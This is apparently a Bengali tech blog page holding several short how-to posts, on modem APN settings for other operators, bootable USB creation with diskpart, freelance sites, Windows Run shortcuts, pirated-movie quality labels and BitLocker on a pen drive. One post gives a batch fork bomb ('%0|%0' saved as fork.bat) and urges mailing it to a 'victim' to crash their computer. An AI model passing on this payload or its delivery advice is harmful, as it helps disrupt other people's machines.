আসসালামু আলাইকুম

রবিবার, ২৮ ডিসেম্বর, ২০১৪

একটি জিপি মডেম দিয়ে ব্যাবহার করুন যে কনো কোম্পানির সিম কার্ড (gpcare) ছবি সহ টিউটোরিয়াল

জিপি মডেম এ আপনি যে কোনো অপারেটরের  সিম ব্যাবহার করতে পারবেন। কনফিগারেশন পরিবর্তন করে জিপি মডেম দিয়ে আন্য অপারেটরের নেট চালানো যায়।
 প্রথমে জিপি মডেমের বাইডিফল্ট সফটওয়্যার টি ওপেন করুন।
এখন উপরেরে দিকের টুলস থেকে অপশন এ ক্লিক করুন (Tools > Options)।
মডেমে যে কোন সিম
 এখন যে পেজ টা আসবে ওখান থেকে আপনাকে প্রফাইল ম্যানেজমেন্ট এ ক্লিক করতে হবে, নিচের ছবির মতোন…
 মডেমে যে কোন সিম2
 প্রফাইল নাম হিসাবে জিপি ইন্টারনেট দেয়া থাকবে কিন্তু নতুন কানেকশনটার জন্য এখানে আপনাকে একটা নতুন প্রফাইল তৈরি করতে হবে। ডান দিকে New এ ক্লিক করুন।
মডেমে যে কোন সিম3
 এবার কোন ইন্টারনেট কানেকশন এর জন্য কিভাবে কনফিগার করতে হবে তা স্ক্রিন শটের মাধ্যমে দেয়া হলঃ
 রবি/একটেলের  জন্যঃ
Profile Name এ Aktel type করুন। APN টা Static Select করে বক্সে internet/robi লিখুন। এখানে Access Number হিসাবে *99# দেয়া থাকবে আর যদি না থাকে তবে আপনাকে *99# লিখতে হবে। এখন Save এ ক্লিক করে Profile সেভ করুন এবং OK চেপে বেড়িয়ে আসুন। নিচের ছবির মতোন…
মডেমে যে কোন সিম4
বাংলালিংকের জন্যঃ
Profile Name এ Banglalink type করুন। APN টা Static Select করে বক্সে blweb লিখুন। এখানে Access Number হিসাবে *99# দেয়া থাকবে আর যদি না থাকে তবে আপনাকে *99# লিখতে হবে। এখন Save এ ক্লিক করে Profile সেভ করুন এবং OK চেপে বেড়িয়ে আসুন।
ওয়ারিদের/এয়ারটেলের জন্যঃ
Profile Name এ Warid Internet type করুন। APN টা Static Select করে বক্সে internet লিখুন। এখানে Access Number হিসাবে *99# দেয়া থাকবে আর যদি না থাকে তবে আপনাকে *99# লিখতে হবে। এখন Save এ ক্লিক করে Profile সেভ করুন এবং OK চেপে বেড়িয়ে আসুন।
টেলিটকের জন্যঃ
Profile Name এ Teletalk type করুন। APN টা Static Select করে বক্সে gprsunl লিখুন। এখানে Access Number হিসাবে *99# দেয়া থাকবে আর যদি না থাকে তবে আপনাকে *99# লিখতে হবে। এখন Save এ ক্লিক করে Profile সেভ করুন এবং OK চেপে বেড়িয়ে আসুন।
এখন মডেমে আপনার নির্দিষ্ট সিম ভোরে নিন আর জিপি’র ডিফল্ট Software এর Connection পেজ থেকে GP-internet এর পরিবর্তে নির্দিষ্ট operator (যে সিম ভরবেন তার নাম টেলিটক হলে Taletalk, বাংলালিংক হলে Banglalink-wap etc)  কে Select করে Connect এ Click করুন । ব্যস হয়ে গেলে জিপি মডেমে টেলিটক নেট চালু।

ডিভিডি রম না থাকলে পেনড্রাইভের মাধ্যমে উইন্ডোজ ইনস্টল করে নিন

ইউএসবি পেনড্রাইভটি বুটেবল করে উইন্ডোজ অপারেটিং সিস্টেম ইনস্টল করা খুবই সহজ একটা প্রক্রিয়া । আপনার পিসি বা ল্যাপটপের ডিভিডি রম না থাকলে বা কোনো কারণে ক্ষতিগ্রস্ত হলে বুটেবল পেনড্রাইভ একটি ভালো সমাধান। কমপক্ষে ৪ গিগাবাইট অথবা তার চেয়ে অধিক ধারণক্ষমতাসম্পন্ন একটা পেনড্রাইভ হলেই চলবে।
এটি করতে উইন্ডোজের স্টার্ট বাটনে ক্লিক করার পর সার্চ বক্সে cmd লিখলে যে প্রোগ্রামটি আসবে, তাতে রাইট বাটন ক্লিক করে Run as administrator হিসেবে ওপেন করুন, ইউজার অ্যাকাউন্ট কন্ট্রোল ডায়ালগ বক্স এলে ইয়েস চাপুন। এবার কমান্ড প্রম্পট উইন্ডো চালু হলে তাতে diskpart লিখে এন্টার চাপুন। ডিস্কপার্ট অবস্থায় এলে list disk লিখে এন্টার চাপলে আপনার সিস্টেমে যেসব ড্রাইভ সংযুক্ত আছে, তার লিস্ট ও পাশেই সাইজ দেখাবে। এখানে একটা বিষয় ভালোভাবে খেয়াল রাখতে হবে। সাধারণত আপনার হার্ডডিস্ক হবে Disk 0, যার সাইজ গিগাবাইটে দেওয়া আছে। নিচেই পাবেন আপনার পেনড্রাইভ Disk 1 অথবা Disk 2 এ রকম, যার সাইজ মেগাবাইট আকারে পাবেন।
এখান থেকে আপনার পেনড্রাইভটি সঠিকভাবে চিহ্নিত করতে হবে। Disk 1 আপনার পেনড্রাইভ হলে select disk 1 অথবা Disk 2 হলে select disk 2 লিখে এন্টার চাপুন। এরপর clean লিখে এন্টার চাপতে হবে। তারপর create partition primary লিখে এন্টার চাপলে পার্টিশন তৈরি হবে। এবার ড্রাইভটি ফরমেট করতে হবে। লিখুন format fs=ntfs quick এবং এন্টার চাপুন। ফরমেট হতে সামান্য একটু সময় নেবে। এটাই শেষ ধাপ। active লিখে এন্টার চাপুন। তারপর exit লিখে বের হয়ে আসুন। বুটেবল পেনড্রাইভ তৈরি হয়ে গেল।
এখন উইন্ডোজ অপারেটিং সিস্টেমের ভিডিডি (Windows Vista, 7, 8 অথবা 8.1) থেকে সব ফাইল কপি করে পেনড্রাইভে পেস্ট করে দিন। ইমেজ ফাইল বা ISO ফাইল থাকলে সেটাকে উইনরার, উইনজিপ অথবা সেভেন-জিপ—যেকোনো একটা দিয়ে এক্সট্রাক্ট করে পেনড্রাইভে কপি করতে হবে। যে কম্পিউটারে ওএস ইনস্টল করতে হবে, তাতে পেনড্রাইভ প্রবেশ করিয়ে মেশিন চালু করে বুট মেন্যু থেকে পেনড্রাইভ বা রিম্যুভেবল ডিস্ক নির্বাচন করে দিন। উইন্ডোজ ইনস্টলেশন শুরু হয়ে যাবে।

ওডেস্ক, ফ্রিল্যান্সার এবং ইল্যান্সের মত ব্যতিক্রমী কিছু ওয়েবসাইট

মার্কেটপ্লেস হিসাবে আমরা সবাই ওডেস্ক, ফ্রিল্যান্সার এবং ইল্যান্সের মত সাইটগুলোকে চিনি। এই সবগুলো সাইট প্রায় একইভাবে কাজ করে। তবে এর বাইরেও ব্যতিক্রমী কিছু মার্কেটপ্লেস রয়েছে।
৯৯ ডিজাইন
গ্রাফিক ডিজাইন নিয়ে যারা কাজ করেন তাঁরা এটার সঙ্গে বেশ পরিচিত। এখানে প্রতিযোগিতার মাধ্যমে কাজের পুরস্কার প্রদান করা হয়। আর এ সাইটের পুরস্কারের টাকার পরিমাণ অন্য যেকোনো সাইটের তুলনায় বেশ ভাল। বিষয়টা এরকম, ক্লায়েন্ট এর একটা লোগো বা টি-শার্ট ডিজাইন লাগবে। তিনি তার চাহিদা অনুযায়ী বিবরণ পেশ করলেন। এখানে আপনাকে কোন অ্যাপ্লিকেশন করতে হবে না। তার বর্ননা করা চাহিদা অনুযায়ী আপনি ডিজাইন করবেন এবং তা প্রতিযোগিতার পেইজে আপলোড করবেন। আপনার ডিজাইনটি সংশ্লিষ্ঠ ক্লায়েন্ট দেখবেন। আপনার মত আরও অনেক ডিজাইনার তাঁর নিজের ডিজাইন আপলোড করবেন ক্লায়েন্টের কাছে। ক্লায়েন্ট এর যে ডিজাইন পছন্দ হবে তিনি সেটিই বেছে নেবেন এবং সবশেষে পারফেক্ট ডিজাইনারকে পুরস্কার বা প্রজেক্টের টাকা প্রদান করবেন।
থিমফরেস্ট
থিমফরেস্ট হলো এনভাটোর সবচেয়ে জনপ্রিয় সাইট। গ্রাফিক্স ডিজাইনাররা এখানে তাঁদের ডিজাইন টেমপ্লেট বিক্রি করতে পারেন এবং ডেভেলপার হলে ডিজাইনের পাশাপাশি এইচটিএমএল এবং সিএসএস কোডিংও বিক্রি করা যায়। আপনার ডিজাইন ও ফাংশনালিটি যদি ক্রেতাদের একবার নজর কাড়তে পারে তবে তো কথাই নেই, আপনি লাখোপতি এক ডিজাইনেই (এক্সট্রা অর্ডিনারি কিছু তৈরি করতে পারলে কোটিপতি হওয়াও কঠিন কিছু নয়, থিমফরেস্টে এমন এমন সব ডিজাইন আছে যার একেকটি কয়েক কোটি টাকা করে বিক্রি হয়েছে!)। থিমফরেস্টে থিম বিক্রি হয়, আর গ্রাফিক্স বিক্রি করার জন্য গ্রাফিকরিভার, কোড বিক্রি করার জন্য কোডক্যানিয়ন, স্টক ফটোগ্রাফি বিক্রি করার জন্য ফটোডিউন এবং থ্রিডি অ্যানিমেশন বিক্রির জন্য থ্রিডিওশান বেশ জনপ্রিয় মার্কেটপ্লেস।
, ফ্রিল্যান্সার
ডিজাইন ক্রাউড
উপরে যে ৯৯ ডিজাইন এর কথা বললাম, এটাকে তার কপি হিসেবে ধরতে পারেন। ডিজাইন কনটেস্টের জন্য এটি আরেকটি জনপ্রিয় কো¤পানি। সাইটটির কনটেস্টের মাধ্যমে এখানেও আপনি আপনার ক্রিয়েটিভিটি নিয়ে বাঘা বাঘা ডিজাইনারদের সাথে লড়াই করতে পারেন।
ফাইভআরআর
এটি বেশ ভিন্ন। এখানে বায়ার কোন জব পোস্ট করে না, কর্মীরাই পোস্ট করে তাঁরা বায়ারদের জন্য কি কি কাজ করতে পারবে। পোস্ট যদি কোন বায়ারের ভালো লেগে থাকে তবে ক্লায়েন্ট আপনার কাছ থেকে তা কিনে নেবেন। যতজন বায়ার এই সার্ভিসটা কিনবেন আপনি ততবার টাকা পাবেন। বিষয়টি ঠিক এমন, আপনি একটি পোস্ট করলেন আমি ৫০০ ওয়ার্ডের একটি আর্টিকেল লিখে দিবো, এর জন্য আমাকে ৫ ডলার দিতে হবে।
এখন যত বায়ারের আর্টিকেল প্রয়োজন হবে তাঁরা আপনাকে আর্টিকেলের অর্ডার দিয়ে দিবে এ পোস্ট দেখে। এ সাইটটির একটি মজার দিক হচ্ছে, আপনি যাই করেন না কেন, আপনাকে তা মাত্র ৫ ডলারে করতে হবে! তাই ছোট ছোট কাজ এখানে সবচেয়ে বেশি হয়ে থাকে।

উইন্ডোজ এর “Run” অপশনের জন্য ৫০ টি প্রয়োজণীয় শর্টকাট

আচ্ছালামু আলাইকুম,
কেমন আছেন সবাই? আশা করি ভালোই আছেন। আমি ও আছি ভালোই আলহামদুলিল্লাহ্। যাই হোক আজ আমি যেই পোস্ট টির কথা বলছি সেটি সম্পর্কে অনেকে হয়তো জানেন, যারা না জানেন তারা দেখে নেন কাজে লাগতে পারে।
আমরা প্রয়জনের তুলনায় RUN (Win + R ) এর ব্যবহার খুব কম করি।
এবার কিছু র্সটকী থেকে Run অপশন একবার ব্যবহার করে দেখেন
দেখুন আপনার ব্যবহার কতটা দ্রুত এবং মজাদার :
যেমন ক্যালকোলেটর এর জন্য শুধু RUN এ গিয়ে
calc লিখে এন্টার ……… বাস Calculator হাজির ।
এগুলো Run অপশনে গিয়ে লিখুন।
Add/Remove Programs – appwiz.cpl
Adobe Photoshop (if installed)- photoshop
Bluetooth Transfer Wizard – fsquirt
Calculator – calc
Control Panel – control
Date and Time Properties – timedate.cpl
Firefox (if installed)- firefox
Free Cell Card Game- freecell
Game Controllers- joy.cpl
Help and Support- helpctr
Internet Explorer- iexplore
Pinball Game – pinball
Power Configuration – powercfg.cpl
Printers and Faxes – control printers
Printers Folder – printers
Real Player (if installed)- realplay
Registry Editor – regedit
Remote Access Phonebook – rasphone
Remote Desktop – mstsc
Scanners and Cameras – sticpl.cpl
Scheduled Tasks – control schedtasks
Shuts Down Windows – shutdown
Microsoft Chat – winchat
Microsoft Excel (if installed) – excel
Microsoft Movie Maker – moviemk
Microsoft Paint – mspaint
Microsoft Powerpoint (if installed)- powerpnt
Mouse Properties – control mouse
Mouse Properties – main.cpl
Network Setup Wizard – netsetup.cpl
Notepad – notepad
On Screen Keyboard – osk
Opens AC3 Filter (If Installed) – ac3filter.cpl
Outlook Express – msimn
Paint – pbrush
Keyboard Properties – control keyboard
System Configuration Editor – sysedit
System Configuration Utility – msconfig
System Information – msinfo32.
Task Manager – taskmgr
System Properties – sysdm.cpl
Task Manager – taskmgr
Windows Explorer – explorer
Windows Firewall- firewall.cpl
Windows Magnifier- magnify
Windows Media Player – wmplayer
Windows Messenger – msmsgs
Windows XP Tour Wizard – tourstart
Wordpad – write
10389999_649056971849813_7088372945373028313_n

কি ধরনের প্রিন্টে মুভি ডাউনলোড করবেন এবং ভালো প্রিন্ট কিভাবে বুঝবেন

আমারা দেখি মুভির নামের পাশে অনেক ধরনের ফরমেটের নাম লেখা থাকে যেমন  Blu Ray/BDRip/R5/DVDRip/TELESYNC/CAM/ ইত্যাদি । এই সব দ্বারা কি বুঝায় তা নিচে দেয়া হলো :
 ডাউনলোড
CAM : এটা হচ্ছে সরাসরি হল প্রিন্ট । দেখা মানে সময় নষ্ট ,ডিজিটাল ক্যামেরা দিয়ে লুকিয়ে হলের কোন-কানা থেকে এটার ভিডিও করা হয়, মাঝে মাঝে ক্যামেরা নড়ে যায়, সামনে দিয়ে লোক হেটে যায়, কথা শোনা যায় না এবং ঝাপসা রং ছাড়া প্রিন্ট ।
TELESYNC : এটার প্রিন্ট ক্যাম প্রিন্টই পার্থক্য যেটা সেটা হলো সাউন্ডে। এটার অডিও এক্সার্টানাল অডিও সোর্স (যেমনঃ হেড ফোন) থেকে রেকর্ড করা হয়। অনেকক্ষেত্রেই ক্যামের চেয়ে ভালো প্রিন্ট পাওয়া যায় যদি খালি সিনেমা হলে বা প্রোজেকশন রুম থেকে ভিডিও করা হয়।
DVD-SCREENER : এটা হলো মূল ডিভিডি প্রিন্টের প্রি ভার্সণ। এটার কোয়ালিটি ডিভিডির মতই ।কিন্তু এটাতে নানারকম ওয়াটার মার্ক লেখা থাকে সাধারনতঃ এগুলো প্রমোশনাল কাজে নানা জায়গায় পাঠানো হয়
R5 : এটা হচ্ছে পাইরেসিকে টেক্কা দেবার জন্য মুভি ইন্ড্রাস্টির চেষ্টা…মূলত রাশিয়া জোনের জন্য এই প্রিন্ট বের করা হয়। এটা হলো কম খরচে, লো কোয়ালিটি প্রিন্টের ডিভিডি যেটা বের করা হয় স্ক্রিণার প্রিন্টের সময়েই…বেশির ভাগ সময়ে এটাতে ইংরেজী ডাব থাকে না…সেসময় এর উপর হল থেকে ইংরেজী অডিও ডাব করা হয় এবং লেখা থাকে- R5 LINE
WORKPRINT : এই ভার্সনে পুরো মুভিটি থাকে না..ডিভিডি তৈরি করার সময়ে নন-প্রসেসড ভার্সন এটা।
DVDRip : এটা হলো ফাইনাল ডিভিডি রিলিজ ।চমৎকার সাউন্ড এবং ভিডিও কোয়ালিটি ।ফাইল ফরম্যাট সাধারনত: DivX/XviD থাকে।
BDRip : এটা  DVDRip এর উপরের ভার্শন।  এটার রেগুলেশন অসাধারন।
Blu Ray : এটা হলো মুভির অরিজিনাল ভার্শন। এটা সরাসরি মুভির কম্পানি অনলাইন রিলিজ করে।
BrRip ( 720 & 1080p) : এটা হলো ইনকোড ভার্শন।  বিভিন্ন আপলোডাররা এটা বিভিন্নভাবে ইনকোড করে। ফ্রির ভেতর এটাই সব থেকে ভালো প্রিন। ৪২০,৭২০ এবং ১০৮০ দিয়ে মুভির রেগুলেশন ও মনিটরের পরিমাপ দেখানো হয়।আমার মতে  Blu Ray > BrRip > DVDRip > R5 পর্যায় ক্রমে প্রাধান্য দেয়া উচিত ডাউওনলোড করার ক্ষেত্রে , তবে অপেক্ষাকৃত ভালো প্রিন্টের জন্যে নতুন মুভি দেখার ক্ষেত্রে অপেক্ষা করা উচিত ।

পেনড্রাইভ লক করে রাখুন সফটওয়্যার ছাড়া

প্রথমে পিসির সাথে আপনার পেনডাইভটি সংযোগ করুন, যেটি আপনি লক করবেন। আমি আমারটা করলাম।
এবার My Computer ঢুকে Pendrive এর উপর রাইট বাটন এ ক্লিক করে Turn on BitLocker এ ক্লিক করুন ।
01
তাহলে নিচের মত আসবে।
03
এবার Use a Password to unlock the drive এ টিক চিহ্ন দিয়ে Type your Password এবং Retype your Password এর ঘরে একই পাসোয়ার্ড দিয়ে Next এ ক্লিক করুন।
04
এবার Save the Recovery key to a file এ ক্লিক করে ফাইলটি সেভ করে রাখুন।
05
এবার Use Encrypting বাটনে ক্লিক করুন।
06
তারপর ১০০ % হওয়া পর্যন্ত অপেক্ষা করুন।
07
এবার পিসি থেকে Pendrive টি খুলে আবার লাগান দেখুন আপনার পেন ড্রাইভ টি লক হয়ে নিচের মত শো করছে।
10
আজ এই পর্যন্ত। আল্লাহ হাফেজ।

যে কনো ছবি থেকে কাঙ্খিত ফন্টের নাম খুজে বের করুন খুব সহজেই

আপনি কি একজন ডিজাইনার? ধরুন ক্লাইন্ট ছবিতে লেখা দেখিয়ে বলছেন ফন্টগুলো দেখতে ঠিক তেমনটিই হতে হবে, কিন্তু ফন্টটি আপনার অচেনা? তবে কাঙ্খিত ফন্টের নাম কিভাবে খুজে বের করবেন!!!! খুব সহজেই সেটি করা যায়,
১. প্রথমে http://www.myfonts.com/WhatTheFont/ এই লিঙ্কে যান, ব্রাউজে ক্লিক করে যে ফন্টটির নাম জানা প্রয়োজন সেটির লোকেশন দেখিয়ে দিন তারপর Continue বাটন চাপুন।
থেকে ফন্ট
২. এখানে উদাহরণ স্বরূপ Phil লিখাটি আপলোড করলাম।
৩. তারপরের পেজে আসবে ক্যারেক্টার সিলেকশন অপশন, এখানে দেখুন টূলসটি যে যে ক্যারেক্টার অটোম্যাটিক ধরতে পারছে সেগুলোর ছবি উপরে দেয়া এবং এর নিচে ক্যারেক্টারগুলো লিখা আছে। এখানে দেখুন টুলটি শুধুমাত্র P ক্যারেক্টার চিনতে পেরেছে। বাকিগুলো সে সাজেস্ট করছে আপনাকে ফিলআপ করতে কারণ অক্ষরগুলো একসাথে লেগে ছিল।
থেকে ফন্ট2
একটা কথা এখানে বলে রাখা ভাল, যে ফন্টের ছবি আপলোড করবেন চেষ্টা করবেন তার অক্ষরগুলো একটার সাথে আর একটা যেন লেগে না থাকে। ক্যারেক্টার যদি একটার সাথে আর একটা লেগে থাকে তবে সঠিক ফন্টটি খুজে পাওয়ার সম্ভাবনা অনেক কমে যায়। নিচের ছবিতে দেখুন, P অক্ষরটি আলাদা ছিল তাই অটোমেটেড টুলসটি সেটিকে আলাদা রেখেছে, আর বাকি তিনটি অক্ষরের পায়ের কাছে একটার সাথে আরেকটা লেগে আছে তাই সেগুলোর সাজেশন দেখাচ্ছেনা।2
৪. এবার, ক্যারেক্টার সিলেকশন অপশনে টুলটি যে যে ক্যারেক্টারগুলো সঠিকভাবে চিনতে পেরেছে সেগুলো ঠিক রেখে (ছবিতে শুধু P ক্যারেক্টারটি ঠিক রেখেছি) Continue বাটন চাপুন। দেখবেন, আপনার ইমেজের সাথে মিল রেখে অনেকগুলো ফন্টের সাজেশন দেখাচ্ছে। এখানে দেখুন, প্রথম তিনটি ফন্ট দেখতে ছবির ফন্টটির মত নয়, কিন্তু চার নাম্বারটি প্রায় অবিকল মিলে যায়।
থেকে ফন্ট3
পরবর্তী কাজতো সোজা, এই সাইটে যে ফন্টটি খুজে পেয়েছেন সেটি ফ্রি ডাওনলোড করতে পারবেন না। ফন্টের নামটি কপি করে গুগলে সার্চ দিন, আশা করি একটু কষ্ট করে খুজলেই ফ্রিতে ডাওনলোড করে নিতে পারবেন কাঙ্খিত ফন্টটি।

আসুন শক্তিশালী একটি বোম Virus তৈরী করে উরিয়ে দেই যে কারো কম্পিউটার

সবাইকে শুভেচ্ছা জানিয়ে শুরু করছি । আশা করি সকলে ভালো আছেন । আজ আপনাদের Fork Boam Virus তৈরীর পদ্ধতি শেখাব ।
অনেকে হয়ত জানেন । কিন্তু সকলে সবকিছু জানেন না তাই এই টিউনটা করলাম । এইটা খুব-খুব সহজ । বলতে পারেন পানির মতো সহজ । অতিরিক্ত কথা না বলে চলুন সরাসরি টিউনে যাওয়া যায় ।
শুধুমাত্র নিচের পদ্ধতি অনুসরন করুনঃ
.
»» »» কার্যপদ্ধতি «« ««
১। প্রথমে আপনার আপনার কম্পিউটারের নোটপ্যাড ওপেন করুন এবং এই কোডগুলো লিখুন (%0|%0)
২। এবার এটাকে .bat ফরমাটে save করুন । save করার সময় .txt মাছে ফেলুন ।
e.g : fork.bat
[ওপেন করবেন না ]
৩। ভাইরাস তৈরী সম্পন্ন হল ।
এখন যদি কেউ এই ফাইলটাকে দুই বার ক্লিক করে তাহলে তার কম্পিউটারের সিস্টেম Jamm হয়ে যাবে এবং Crash করবে ।
.
»» »» NOTE «« ««
১। এখন এই ফাইলটাকে আপনার victim এর কাছে mail ও অন্যান্য মাধ্যমে পাঠাতে করতে পারবেন ।
২। কখনে .bat এই ফরম্যাটের ফাইল ওপেন করবেন না ।
৩। যদি ভুলবসত বা কারো দ্বারা এই virus এর স্বীকার হয়ে থাকেন তাহলে নিচের পদ্ধতি অনুসরন করুনঃ
আপনার কম্পিউটার ওপেন করার সাথে সাথে এই কিওয়ার্ডগুলো চাপুন (Press ctrl + alt + delete
key) এরপর Task Manager ওপেন করুন এবার Processes Tab এ ক্লিক করুন ও fork.bat এই রকম ফাইল খুজুন ।
এবার ফাইলটার উপর মাউস রেখে End Process বাটনে ক্লিক করুন ।
আপনার কাজ শেষ ।

কমান্ড প্রম্পটের ব্যবহার করে পিসি সমস্যাগুলো সমাধান করে নিন

উইন্ডোজের অন্তর্গত কমান্ড লাইন সম্পর্কে খুব কম ধারণাই রয়েছে আমাদের। ইতোপূর্বে কমপিউটার জগৎ-এর নিয়মিত বিভাগ পাঠশালায় কমান্ড লাইন সম্পর্কে প্রাথমিক ধারণা দেয়া হয়েছিল। এ লেখায় ব্যবহারকারীদের উদ্দেশে ব্যাখ্যা করে দেখানো হয়েছে পিসির ত্রুটি ফিক্স তথা সমাধান করা এবং পিসিকে অধিকতর নিরাপদ করার জন্য কিভাবে কমান্ড লাইন ব্যবহার করা যায়। পিসিকে অধিকতর নিরাপদ করার জন্য বায়োসকে ব্যবহার করা যেতে পারে, যা আমাদের অনেকেরই জানা নেই।
উইন্ডোজের ব্যবহার শুরু হওয়ার আগে কমান্ড প্রম্পট বা কমান্ড লাইন ব্যবহার হতো যেখানে C:\> প্রম্পটের সামনে এক ব্লিংকিং কার্সর দেখা যেত। এই লাইনকে ডস প্রম্পট বা কমান্ড প্রম্পট বলা হয়। কমপিউটারকে দিয়ে কোনো কাজ করানোর জন্য ব্যবহারকারীকে মেমরি থেকে ইনস্ট্রাকশন তথা নির্দেশ টাইপ করতে হতো। অর্থাৎ ব্যবহারকারীকে প্রতিটি কমান্ড মুখস্থ রাখতে হতো। এখন গ্রাফিক্যাল ইউজার ইন্টারফেসের কারণে ডস প্রম্পটের যুগের অবসান ঘটলেও উইন্ডোজের সব ভার্সনেই ডসের অর্থাৎ কমান্ড লাইনের ব্যবহার দেখা যায়। কিন্তু কেনো? এর সহজ-সরল জবাব হলো- টাইপ করে ইনস্ট্রাকশন দেয়া অর্থাৎ কমান্ড দেয়া এখনো উইন্ডোজের অনেক কাজ দ্রুততার সাথে সম্পাদন ও নিয়ন্ত্রণ করার শক্তিশালী মাধ্যম, যেখানে থাকে না বিরক্তিকর গ্রাফিক্যাল ইউজার ইন্টারফেস।
এ লেখায় ব্যবহারকারীদেরকে দেখানো হয়েছে কমপিউটারের ত্রুটি ফিক্স করার ক্ষেত্রে কিভাবে এক প্রয়োজনীয় টুল হিসেবে ব্যবহার হতে পারে কমান্ড লাইন। শুধু তাই নয়, এ লেখায় আরো দেখানো হয়েছে কমান্ড লাইন কিভাবে ব্যবহার হতে পারে সিস্টেম চেকিং, মনিটরিং এবং সিকিউরিটির বিষয়গুলো আরো সুদৃঢ় করার কাজে।
লক্ষণীয়, কমান্ড লাইন ইনস্ট্রাকশন হলো ফ্রি টুল। যদিও এগুলো অত্যাবশকীয় নয়, তবে প্রাথমিক ধারণা থাকলে উইন্ডোজের বেশ কিছু অভ্যন্তরীণ গুরুত্বপূর্ণ কাজের রহস্যমুক্ত করা সম্ভব হয়।
এ লেখায় উল্লিখিত কাজগুলো করার আগে দু’টি বিষয় মনে রাখতে হবে। প্রথমত- এ লেখাটি শিক্ষানবিসদের জন্য নয় এবং দ্বিতীয়ত- পিসির ব্যাকআপ তৈরি করে নিন, কেননা এখানে উল্লিখিত কমান্ড লাইন ব্যবহার করতে কোনো সমস্যা সৃষ্টি হলে অপূরণীয় ক্ষতি হয়ে যাবে। সম্পূর্ণরূপে নিজ দায়িত্বে এ কাজগুলো করতে হবে।
উইন্ডোজ কমান্ড প্রম্পট
উইন্ডোজ আবির্ভূত হওয়ার আগে কমপিউটিং বিশ্বকে নিয়ন্ত্রণ করতো এমএস-ডস তথা মাইক্রোসফট ডিস্ক অপারেটিং সিস্টেম নামের এক অপারেটিং সিস্টেম ইউজার এবং পিসির হার্ডওয়্যারের মধ্যে লিঙ্ক দিত। ডস অপারেটিং সিস্টেম ছিল টেক্সটভিত্তিক এবং অপারেশনের জন্য দরকার কিবোর্ড। টেকনিক্যালি এমএস-ডস, যা ব্যবহার করে তা কমান্ড লাইন ইন্টারফেস (CLI) হিসেবে পরিচিত। আর উইন্ডোজের ক্ষেত্রে গ্রাফিক্যাল ইউজার ইন্টারফেস (GUI) হিসেবে পরিচিত।
এক্সপির আগে উইন্ডোজের সব ভার্সনের জন্য দরকার হতো এমএস-ডস যাতে কমপিউটার কাজ করতে পারে। কেননা উইন্ডোজ নিজেই পিসির বায়োসে অ্যাক্সেস করতে পারে না। ব্যবহারকারীকে বেছে নিতে হয় পিসি ডস মোডে নাকি উইন্ডোজ মোডে চালু হবে।
উইন্ডোজ এক্সপিতে চালু করা হয় এক টুল তা কমান্ড প্রম্পট হিসেবে পরিচিত। এই টুল উইন্ডোজ ভিস্তা ও উইন্ডোজ ৭-এ বিদ্যমান। কমান্ড প্রম্পট তুলনামূলকভাবে কম জানা টুল ও সেটিংয়ে অ্যাক্সেস করাকে অনুমোদন করে। যেহেতু কমান্ড প্রম্পট গ্রাফিক্স ছাড়াই চলতে পারে, তাই কমান্ড খুব দ্রুত কাজ করে এবং কখনো কখনো কমান্ড এমন কিছু কাজে ব্যবহার হয়, যা উইন্ডোজে করা অসম্ভব।
উইন্ডোজ এক্সপ্লোরার সেরা
উইন্ডোজ কমান্ড প্রম্পট একটি শক্তিশালী টুল হলেও কিছু কাজ করার ক্ষেত্রে এটি সবচেয়ে সহজ, সরল এবং সেরা টুল, তা বলা যাবে না। কেননা কমান্ড প্রম্পটের কিছু কমান্ড খুব জটিল মনে হয় দীর্ঘ টেক্সট স্ট্রিং বা অনেক প্যারামিটার বা সুইচ ব্যবহার হওয়ার কারণে।
কমান্ড টাইপ করার সময় আপনার অজান্তে ভুল হতেই পারে। তাই ভালো হয়, প্রাত্যহিক ফাইল ম্যানেজমেন্টের কাজের জন্য উইন্ডোজ এক্সপ্লোরার ব্যবহার করা। কখনো কখনো কমান্ড লাইন টাস্ক বেশ ঝুঁকিপূর্ণ হতে পারে যেমন কমান্ড প্রম্পট থেকে ফাইল ডিলিট করলে রিসাইকেল বিন থেকে ফাইল রিকোভার করা যায় না, কেননা তা সরাসরি ডিলিট হয়ে যায়। তাই তাছাড়া কমান্ড প্রম্পটে ‘No’, ‘Yes’, বা ‘Cancel’ নিশ্চিতকরণ বক্স নেই, এমনকি ‘Undo’ নেই। অপরিবর্তনীয় পরিবর্তন কখনো কখনো ঘটে যেতে পারে। কোনো কারণে ভুল প্যারামিটার ব্যবহারের ফলে ভুল ফাইল ওভারহাইট হতে পারে। শুধু তাই নয়, উইন্ডোজ সিস্টেম ফাইল নষ্ট হয়ে যেতে পারে।
বায়োসের শুরুতে
কমান্ড প্রম্পট প্রসঙ্গে আলোকপাত করতে গিয়ে ‘বায়োস’ প্রসঙ্গ টেনে আনা হয়েছে, যা অনেকের কাছে অবাক মনে হতে পারে। তবে এখানে খুব জোরালোভাবে বলা হয়নি যে, কমান্ড লাইন টুল উইন্ডোজের গভীরে এক বড় অংশ জুড়ে আছে বায়োস, যা নির্ভর করে পিসি তৈরির প্রকৃতি ও মডেলের ওপর। বলা যায়, বায়োস বেশ কিছু প্রয়োজনীয় সিকিউরিটি টুলের নিরাপদ স্থান বা পোতাশ্রয়।
বায়োসে অ্যাক্সেস করার জন্য পিসি রিস্টার্ট করার পর F2 বা Delete (Del) কি চাপুন। এরপর বায়োস স্ক্রিন আবির্ভূত হওয়ার পর Security লেবেল করা সেকশন খোঁজ করে দেখুন এবং কার্সর ব্যবহার করে (অ্যারো কি) তা নেভিগেট করুন। বেশিরভাগ ক্ষেত্রে ‘Supervisor’ এবং ‘User’ পাসওয়ার্ড সেট করার অপশন থাকে। যদি ইউজার পাসওয়ার্ড সেট করতে চান, তাহলে উইন্ডোজ চালু হওয়ার আগে টাইপ করতে হবে আর ‘Supervisor’ পাসওয়ার্ড সেট করতে চাইলে বায়োসে অ্যাক্সেস করার আগে।
পাসওয়ার্ড রিসেট ও ডিজ্যাবল করার উপায় রয়েছে ঠিকই, তবে পাসওয়ার্ড দেয়ার ব্যাপারে খুব সতর্ক থাকতে হবে, কেননা পাসওয়ার্ড ভুলে গেলে আপনার পিসি স্থায়ীভাবে লক হয়ে যেতে পারে।
